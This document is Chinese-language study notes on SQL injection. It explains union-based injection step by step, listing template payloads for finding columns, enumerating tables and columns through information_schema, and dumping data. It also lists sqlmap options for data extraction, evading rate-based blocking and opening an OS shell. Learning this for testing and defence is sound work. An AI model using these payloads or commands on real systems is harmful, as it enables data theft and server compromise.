SQL注入漏洞:程序对用户输入的字符串没有进行过滤或处理不严谨,导致用户可以通过构造语句非法获取数据库中的信息
SQL(Structured Query Language):结构化查询语言,操作数据库的语言,可以对数据库进行增、删、改、查等操作
SQL注入的注入指:将用户输入的数据拼接到原始代码中,从而使得被注入的数据当作代码执行
注入步骤:
1)判断是否存在注入 and 1 = 1,and 1 = 2
2)判断字段数 order by(若2正常、3异常,说明存在2个字段数)
3)判断显错位 联合查询 union (要求字段数相同)
and 1 = 2 union select 1,2
"显错位" :指攻击者通过在恶意的 SQL 语句中插入恶意代码,从而在网站或应用程序的响应中看到错误消息或不正常的信息,从中获取有关数据库结构、数据或应用程序的敏感信息。
4) 判断库名: database()查询数据库,写在显错位处
5)查询表名 information_schema(mysql数据库5.0及以上版本,自带数据库,记录了mysql数据库下所有的数据库名、表名、列名信息)
Information_schema.tables(记录表名信息的表)
Information_schema.columns(记录列名信息的表)
Table_name(当前库下所有表名)
Column_name(当前库下所列名)
Table_schema(数据库名)
Union select 1(填充位),table_name from information_schema . tables where table_schema = 已知库名 加引号
【列出数据库中所有的表名】
group_concat 一次性全部显示
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘已知库名’
6)查询列名
Union select 1(填充位),column_name from information_schema . columns where table_schema = 已知库名 and table_name = (已查出的表名)
查询其他字段:Limit 0,1(位数,个数:第一位 一个字段)、limit 1,1(第二位、一个字段)
【列出目标表中的所有字段】
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’ 目标表名’ and table_schema=database()
7)列出目标字段中的信息
Union select 1,要查询具体数据的字段名 from 表名
执行 union select 1,2,group_concat(目标字段) from 目标表名
引号闭合
‘ and 1=1 – a
‘ and 1=1 or ‘1’ = ‘1
使输入的内容与前半部分配对,再把后半部分注释掉,让后面的代码逃逸出来生效
sqlmap
SQLMap 是一个流行的自动化 SQL 注入工具,用于检测和利用 web 应用程序中的 SQL 注入漏洞
常见指令:
-u:指定注入点 + 网址
--dbs:查询库名
--tables:查询表名【-D + 指定的库名 -–tables】
--columns:查询字段 【-D + 指定的库名 -T + 指定的表名 --columns】
--dump:获取目标数据【…… -C +指定的字段名 --dump】
--random-agent:选择随机user-agent头(判断UA头和IP是否一致,以防系统被恶意快速访问)
--delay=1:每次探测延时1s(防止由于访问过快被阻断)
--count:检测数据量
--level 1-5检测等级,level等级越高检测越详细
--risk 2:测试更多的语句 常用:--level 3 –risk 2
--is-dba:检测当前的注入点的用户的权限 true->管理员权限
--os-shell:获取注入点服务器的cmd